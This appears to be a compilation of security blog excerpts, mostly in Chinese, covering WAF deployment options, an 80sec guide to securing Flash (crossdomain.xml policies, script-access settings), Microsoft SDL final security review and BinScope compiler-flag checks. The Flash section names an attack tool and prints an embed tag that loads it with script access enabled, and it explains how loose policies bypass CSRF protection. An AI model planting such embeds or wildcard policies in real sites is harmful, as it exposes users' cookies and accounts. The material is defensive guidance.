D:产品较为封闭，产品给企业带来的防御能力大部分依赖于厂商对该产品的重视程度、开发人员的负责程度及开发人员的安全对抗能力。

这类WAF不一定适合百度、迅雷、腾讯、阿里巴巴及四大门户这些大型的网站；但对中小企业来说，是非常不错的东西。

如果团队有钱，那么可以考虑从WAF切入SDL；如果团队有黑盒牛人，那就从PENTEST切入好了；如果有钱又有牛人，那随便搞。

2、在每个主机的WEB SERVER上部署，例如mod security，hardend php的suhosin。

优点：

A:分布式的部署方式在一定程度上缓解了反向代理的单点故障及性能问题；

B:由于影响面较小，前期部署较为容易，阻力较小。

缺点：

A:分布所带来的集中管理是个问题（策略、日志）；

B:需要进行一定的二次开发，对企业安全团队的安全对抗及编码能力要求较高；

C:沟通成本较高；需要量化对性能的影响。

D:管理成本较高；

安全团队能力较强的大中型企业，可以考虑循序渐进的使用这种方式保护关键应用。

3、在开发过程中部署，例如PHPIDS。

优点：

A:能在应用架构一级解决安全问题，简单，深入；

B:对性能影响较小。

C:秘密 ：）

缺点：

A:安全团队如果不是挂在开发下面，介入开发过程非常困难，执行力有限，沟通成本非常高；

B:由于分布的更细，对集中管理的要求更高；策略的设计及更新是个难点

C:安全团队需要具备一定的二次开发能力及安全对抗能力。

综上所述，由于大部分优秀的安全人才都被腾讯、阿里和盛大给收了，从控制项目风险的角度来看，安全团队技术和人员资源相对较少的企业可以优先考虑第一种方式；如果咱有信心，并且安全团队挂在开发旗下，可以优先考虑第三种方式。第三种方式和第一种方式其实是互为补充的。

php-code-analysis-real-world-examples

know it and hack it，我懂的。

Author: jianxin [80sec]
EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2009-07-25
From: http://www.80sec.com/release/flash-security.txt

[ 目录 ]

0×00 前言
0×01 安全的服务端flash安全策略
0×02 安全的客户端flash安全规范
0×03 flash安全的checklist

0×00 前言

flash作为一款浏览器的第三方插件，是对浏览器功能的延伸，已经是web必不可少的元素。但是这种延伸必然带来不安全的因素，相比于安全性已经得到磨练的浏览器来说，flash绝对是客户端安全的一个软肋（包括在比较神秘的漏洞挖掘领域，也是这个观点），同样flash在页面展示时所含有的丰富功能，在某些情况下你甚至可以认为它等同于javascript，甚至更为危险。浏览器所贯彻的域安全策略被flash所打破，客户端所做的种种过滤也同样被flash所打破（只要你还使用flash）。但是flash也已经感觉到了这个问题，并且时时在改进，在设计上也引入了一些比较好的安全机制，恰当的使用这些安全机制可以避免你的应用程序遭到攻击。80sec将从实际的一些经验总结出一些供参考的flash使用规范，规范将从服务端应用程序的安全设计和客户端的flash安全使用两个角度来说明这个问题。

0×01 安全的服务端flash安全策略

应用程序安全设计的时候应该秉承最小化原则，在flash的大部分应用中，由于功能需求就经常需要跨域获取数据。域安全是浏览器安全的基本策略，flash作为浏览器的扩展允许跨域获取数据就从根本上打破了浏览器的安全性。flash以flash文件存储域名作为它的当前域，如果需要获取其他服务器上的数据就会发生跨域行为，而且该跨域行为会继承用户浏览器里的认证信息，限制不严格时将导致安全漏洞，打破我们的整个客户端安全模型。flash在跨域时唯一的限制策略就是crossdomain.xml文件，该文件限制了flash是否可以跨域获取数据以及允许从什么地方跨域获取数据。通过严格控制该策略文件我们就可以为应用程序安全和功能上寻找到一个平衡点。

典型的crossdomain.xml文件策略

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.80sec.com" />
</cross-domain-policy>

其中最主要的策略是allow-access-from表示允许来自哪些域的跨域请求，早期的flash允许从其他位置载入自定义的策略文件，目前最新版的flash在接受自定义的策略文件之前会去检查主目录的crossdomain.xml来判断是否接受自定义策略文件。该选项由

<site-control permitted-cross-domain-policies="by-content-type"/>

节点控制，不加该选项时，默认情况下flash不加载除主策略文件之外的其他策略文件，即只接受根目录里的/crossdomain.xml。这对于防止利用上传文件来定义自己策略文件的攻击非常有效。为了在某些条件下需要启用其他策略文件，我们需要设置permitted-cross-domain-policies，设置为by-content-type时将会只允许http头为text/x-cross-domain-policy的策略文件，当为all时则允许所有的text/xml等格式的策略文件。

应用程序在设计的时候按照最小化原则

1 将文件上传和应用的域名分开，防止通过上传flash文件直接获得域操作的权限。
2 对于不需要使用flash的应用严禁在域名目录下部署flash策略文件。
3 对于有功能需求的应用遵循最小化原则将域名限制到最小的范围，有安全需求的应用应该明确允许跨域请求的域，禁止直接使用*通配符，这将导致跨域访问权限的扩散。

譬如http://sns.80sec.com/crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.80sec.com" />
</cross-domain-policy>

就对权限设置过泛，可能导致其他安全策略的绕过（如绕过csrf等等）

4 对于有高安全需求的应用，在限制域名的前提下，将需要被flash访问的应用限制到指定目录，并且在flash内指定策略文件到该目录以将所有访问权限限制到单一目录。

如果login.80sec.com中的某个功能如login需要对所有域名开放，如果配置根目录crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

不是一个好的策略因为他不只会开放login同时会开放如chgpassword等其他的服务给用户，我们需要配置主策略文件

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
</cross-domain-policy>

然后自定义策略文件到一个目录如/flash/crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

并且将login应用部署到/flash/目录，用户的访问将被限制到/flash/下面，无法对其他功能进行操作。

0×02 安全的客户端flash安全规范

控制好flash安全策略并不是安全的全部，这样只能保证服务端的安全。由于一些功能上的原因，譬如为了追求良好的用户体验，为了让无聊的用户可以在页面共享各种flash，为了把页面做得华丽丽的，我们往往需要在页面内容里嵌入flash，这个时候安全性就会被抛到一边（我们还是建议如果不需要的话还是少用这种动态的东西）。我们在一个页面引入一个flash时，一般的做法是下面这种形式：

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0"
name="Main" width="1000" height="600" align="middle" id="Main">
<embed flashvars="site=&sitename=" src='Loading.swf?user=453156346&key=df57546b-c68c-4fd7-9f9c-2d105905f132&v=10950&rand=633927610302991250' width="1000" height="600"
align="middle" quality="high" name="Main" allowscriptaccess="sameDomain" type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>


由于flash的强大，并且在页面元素里基本等同于script这种危险的标签，对于这点，flash已经有所考虑，在引入flash的时候flash提供了控制属性，其中与安全最为关键的是AllowScriptAccess属性和allowNetworking属性。其中AllowScriptAccess控制flash与html页面的通讯，可选的值有：

always //对与html的通讯也就是执行javascript不做任何限制
sameDomain //只允许来自于本域的flash与html通讯，这是默认值
never //绝对禁止flash与页面的通讯

默认情况下的选项是sameDomain，这个时候某些场景下看起来也是足够安全了，但是我们还是能看到经常有程序允许将这个选项设置为always，而即使是sameDomain也不是在所有场景下都安全的，考虑如论坛这样的程序，上传和展现都是在同一个域的情况下，就不存在任何安全性可言了，我们强烈建议该选项为never，如果你选择sameDomain或者always我也希望你清楚自己在做什么。

allowNetworking控制flash与外部的网络通讯，可选的值包括：

all //允许使用所有的网络通讯，也是默认值
internal //flash不能与浏览器通讯如navigateToURL，但是可以调用其他的API
none //禁止任何的网络通讯

但是最近更新的flash客户端貌似是只要AllowScriptAccess被设置那么包括navigateToURL都不能使用，在官方文档上也只看到简简单单的一句道歉，但是这样的确从某些程度上提高了嵌入flash的安全性。但是即使不跳转，我们还是能做很多事情，当我们将flash直接嵌入到页面又没有设置allowNetworking时，我们就可以做csrf之类猥琐的事情，更要命的是这种形式的csrf支持POST请求，referer来源为swf文件所在地址或者为空，同时发送所有cookie而不像图片那些只能发送session cookie，而且基本没有任何的痕迹，基本秒杀那些没有做token保护的csrf防范了，之前的开心网犯的就是这个错误，我们强烈建议该选项为none，如果你不选择这个建议你也要清楚自己在做什么。

0×03 flash安全的checklist

1 检查自己的网站的根目录的crossdomain.xml

好孩子：

坏孩子：

我承认所有的利用都离不开场景，有的时候如果实在没有办法修改这个crossdomain.xml（这个情况的确存在，譬如某些变态功能的需要），那么就可以考虑在应用程序获取数据时对提交的数据做校验，譬如当请求的头里包括x-flash-version时，就可以判定来源是flash而不予响应，但这的确不是一种优美的解决办法。

http://mail.google.com/crossdomain.xml

http://youa.baidu.com/crossdomain.xml

http://www.adobe.com/crossdomain.xml

http://www.youku.com/crossdomain.xml

http://www.renren.com/crossdomain.xml

http://www.taobao.com/crossdomain.xml

2 检查自己网站引入flash的代码

有AllowScriptAccess和allowNetworking么？如果没有，那是不是我这个应用设计已经很安全足够抵御各种攻击了?

如果想针对安全问题做测试，fly_flash是方便的攻击客户端的好伙伴（参见开心网蠕虫），如果想针对第一种错误的策略文件突破csrf等做测试就还得自己写源码了。另外，良好的设计的最大敌人就是坏的实现，原因也是各个程序之间天然的心之壁垒，猜猜

<embed allowscriptaccess="always" allowscriptaccess="never" height=384 width=454 src=http://www.80sec.com/fly_flash.swf?sec80=http://www.80sec.com/fly_flash.txt&x.swf wmode="transparent" loop="false" autostart="false">

这段代码的结果是什么?

安全开发生命周期有两个目标：一是缩减与安全性有关的设计缺失与程序码缺陷错误，二是降低未完全解决的缺陷错误的严重程度。

最终安全性检查要求每个产品开发组有一位或多位人选负责安全和隐私方面的工作。他们的工作包括管理一切安全和隐私的问题，督促开发组执行并满足公司对安全和隐私方面的要求，在面临棘手的安全和隐私决策时做出理性的决定。

通常产品开发组在设计或 软件完工前的几个月,在内部网上登记他们的产品,并完成一份问卷清单，以帮助安全检测员了解产品。同时根据问卷答案, 决定这软件需要进行哪些安全测试。

最终安全性检查要求至少80%的员工一年有一次学习安全知识的机会, 并予以记录。Microsoft提供很多线上资源或是由讲师指导的课程。

最终安全性检查期间，安全检查员和开发组一起分析产品的威胁分析模型．了解产品究竟要保护哪些资产，认识到产品会引进哪些威胁及漏洞，并知道产品将如何缓和这些威胁。此外，还要考虑到威胁和弱点是来自产品部署的环境内，还是源自于与其他产品或端对端解决方案系统的互动。

常用的威胁分析模型有Threat Modeling Tool v3和ＴＡＭ（http://www.microsoft.com/downloads/details.aspx?familyid=59888078-9DAF-4E96-B7D1-944703479451&displaylang=en）

以下是最终安全性检查常用的(但不是仅有的)安全检测工具:

模糊测试（Fuzz testing）包括File Fuzzing, RPC Fuzzing, ActiveX Fuzzing

App Verifier: 是一个 Runtime 工具，它是在执行中的应用程式里进行作业。它能揪出 Run Time 时所发生与内存有关的问题，其中包括堆积式缓冲区溢位。

ComChk：检查COM Control

XRAY：用来捕捉机器上的攻击表面，可以发现产品的故意或有意无意的攻击表面。

Binscope；检查binaries代码

CAT.NET：ＡＣＥ组开发的用来发现网页中的SQL injection, cross-site scripting 和其他的data injection 问题。

通过最终安全性检查,产品设计组可以在安全性开发生命周期的各个阶段自己用安全检测工具对代码或系统进行检测。对于高风险的产品, 在完成最终安全检阅的同时,　我们会建议他们请ＡＣＥ组或第三方公司再进行代码安全测试,和b1ackbox测试。

最后，安全检查员根据所发现的结果来决定软件是否能发行上市，或是还需要返工。 

原霞

微软ACE安全团队

The 2010 CWE/SANS Top 25 Most Dangerous Programming Errors is a list of the most widespread and critical programming errors that can lead to serious software vulnerabilities. They are often easy to find, and easy to exploit. They are dangerous because they will frequently allow attackers to completely take over the software, steal data, or prevent the software from working at all.

The Top 25 list is a tool for education and awareness to help programmers to prevent the kinds of vulnerabilities that plague the software industry, by identifying and avoiding all-too-common mistakes that occur before software is even shipped. Software customers can use the same list to help them to ask for more secure software. Researchers in software security can use the Top 25 to focus on a narrow but important subset of all known security weaknesses. Finally, software managers and CIOs can use the Top 25 list as a measuring stick of progress in their efforts to secure their software.

2010_cwe_sans_top25

They can use “link.exe /dump /loadconfig <executable>” to verify the presence of the safe exception handler table in an executable.

dumpbin貌似也可以实现类似功能。

The argument may or may not make sense, but for Vista users Acrobat 9 (now with Flash!) will be much, much harder to compromise than in the past. As Microsoft Security Software Engineer Robert Hensing reveals, Acrobat 9 on Vista opts in to DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization). These defensive feature will mean that even if—actually, I should say “when”—new vulnerabilities are found in Acrobat 9, they will be much harder to exploit in real world cases because DEP and ASLR impede a very large percentage of the exploit techniques..

Technically, opting in to these features should mean just adding some linker switches, but for a company like Adobe it can mean a lot more work than that. It might have meant changing tools and it certainly meant doing a lot more testing and probably more debugging. DEP and ASLR are likely to uncover other types of bugs in software that might have appeared benign in the past, but which will throw exceptions with DEP and ASLR enabled. They force you to write better code.

So hats off and some applause for Adobe for doing the right thing by their Vista users. They will be a lot safer. Even the XP SP2 and SP3 users will be safer if they turn on DEP.

Included Checks

BinScope includes a variety of SDL-required and non-SDL–required checks. Each check is implemented by one of several included plug-ins with a name that matches each check. These checks are described in the following table.

BinScope Checks and Compiler/Linker Flags

This section provides detailed information about BinScope checks associated with compiler/linker options.

/GS flag

Purpose: For various forms of static buffer overruns, the /GS flag provides protection against some elevations. It does this by placing security cookie bits in the function stack before local variables (which are potentially prone to overruns), and verifying that cookies are not modified upon return from the function.

Security Risk: Very high. Binaries not using it pose extreme danger due to the ease of exploiting overruns.

History: was introduced in 2002 with .NET 1.0 [C++ compiler version 7.0, VS.NET] in a very rudimentary form. Was subsequently enhanced in .NET 1.1 [7.1], Springboard release of 1.1, and then in .NET 2.0 [8.0 "Whidbey", or VS 2005]. Currently, only the 8.0 /GS level of protection is considered acceptable.

SDL history: became an SDL requirement in SDL 2.0.

BinScope specific: file symbols [PDBs] are needed for this check. Without them, the tool often reports vague “Error” results.

Applicability: /GS checks can be ignored for purely managed binaries and for files that don’t contain executable code. Also, BinScope does not detect /GS usage in binaries built with 7.0 C++ compiler.

/SafeSEH flag

Purpose: With this linker option, addresses of all legitimate exception handlers for the image are included in the table of exception handlers. No exception handlers are executed if they are not in that table, so control is very difficult to transfer to handler introduced by an attacker via buffer overrun. This attack scenario takes place in two-steps. First, an attacker causes a buffer overrun and overwrites the exception handler’s data on the function stack with data of the attacker’s choice. Second, the function generates a (valid) exception and control is transferred to the attacker’s handler. Since exception transfers control flow immediately outside of the function, no /GS check has a chance to execute. Therefore, /GS protection without /SafeSEH is not sufficient.

Security Risk: High. Binaries not having this flag and exposing functions that can potentially cause exceptions are easy to attack with buffer overruns.

History: Introduced in 2003 with 7.1 C++ compiler [.NET 1.1 or VS 2003]

SDL history: Became an SDL requirement in SDL 2.0.

BinScope specific: No special requirements; no PDBs are needed.

Applicability: The check does not make sense for 64bit binaries, since they do not store exception handler pointers on the stack. Also, SafeSEH requires OS support available in XP SP2 and above only, so this check can be skipped if the application or code is targeting lower level platforms only.

Non-GS friendly initialization

Purpose: One of the first things performed when loading an executable image is initialization of the /GS security cookie with a unique unpredictable value. This functionality can be changed by overriding initialization entry points. In that case, it becomes the developer’s explicit responsibility to call the cookie initialization routine. Any functions called before the cookie initialization routine is called will have the default security cookie value in their stacks, which is presumably known by attackers. Exploiting buffer overruns in those functions is not much more difficult than when /GS protection is completely lacking.

Security Risk: Moderate to High depending on when, or if, the cookie initialization function was called.

BinScope specific: PDB [symbol] files are needed.

Applicability: Not applicable to purely managed code assemblies.

/NXCOMPAT flag

Purpose: indicates that the binary is compatible with the Data Execution Prevention (DEP) mechanism. DEP disables execution of any code from process memory pages not explicitly marked for execution, and is ON by default in XP SP2 and above. Not having this flag may turn off DEP protection and will ease injection of the shell code when a buffer overrun occurs.

When /GS is on, but /NXCOMPAT is off, attackers are limited to global buffer overruns or much harder to exploit heap overruns.

Note that having /NXCOMPAT for EXE affects the whole process, including all loaded modules.

Security Risk: Moderate if /GS is on.

History: Introduced in 2005 [8.0 "Whidbey"].

SDL history: Was adopted as a requirement in 2005.

BinScope specific: No PDB files are needed.

Applicability: Does not make sense for managed code since JIT (just-in-time) runs some binaries built on the fly from process memory pages.

/DYNAMICBASE  flag

Purpose: Address Space Layout Randomization (ASLR) must be enabled on all native code (unmanaged) binaries to protect against return-to-libc class of attacks. Enabling this functionality requires the flag /DynamicBase in the PE header of all binaries. This flag can be inserted using Visual Studio 2005 SP1 or later. Earlier versions do not contain a linker version that supports it.

 Security Risk: High. ASLR may reduce the effectiveness of remote return-to-libc attack to 1/256^th of binaries without ASLR.

History: Introduced in Visual Studio 2005 SP1.

SDL history: Became an SDL Requirement in SDL 4.1.

BinScope specific: No PDB files are needed.

Applicability: Unmanaged code that implements the IChecks interface from BinScopeLib.dll

Known Bugs

The table below lists known bugs in the current version of BinScope.

FAQ

Question – What is a PDB file? 

Answer – PDB is an abbreviation for “program database.” A PDB file contains debugging and state information that allows incremental linking of a Debug configuration of the application or code. See http://msdn.microsoft.com/en-us/library/yd4f8bd1(VS.71).aspx.

Question – What happened to the Hotpatch check? 

Answer – The Hotpatch check has been removed from BinScope, as it is no longer an SDL requirement.

Question – What is the difference between the “Error” and “Fail” message? 

Answer – “Error” means that the check didn’t complete. “Fail” means that the check completed and the result is negative and the corresponding issue needs to be fixed.

Question – BinScope terminates with error code 5 when I run it from the command line. What does this mean? 

Answer – The error code returned when running under the command line is equal to the number of failures the tool reported plus the number of errors. BinScope will return 0 only if there are no errors or failures.

Question – I provided symbols but BinScope is reporting “Required debug information in CodeView format is not available.” 

Answer – This usually occurs when you are using stripped or “public” symbols. Try using the full or “private” symbols instead.

Question – Do I need to run BinScope on binaries which are automatically generated by Sgen.exe and don’t have PDBs (for example on auto-generated XML serializer dlls)?

Answer – You don’t need to run BinScope on them as long as they were generated with the SDL required compiler (which is usually the compiler you use for everything else).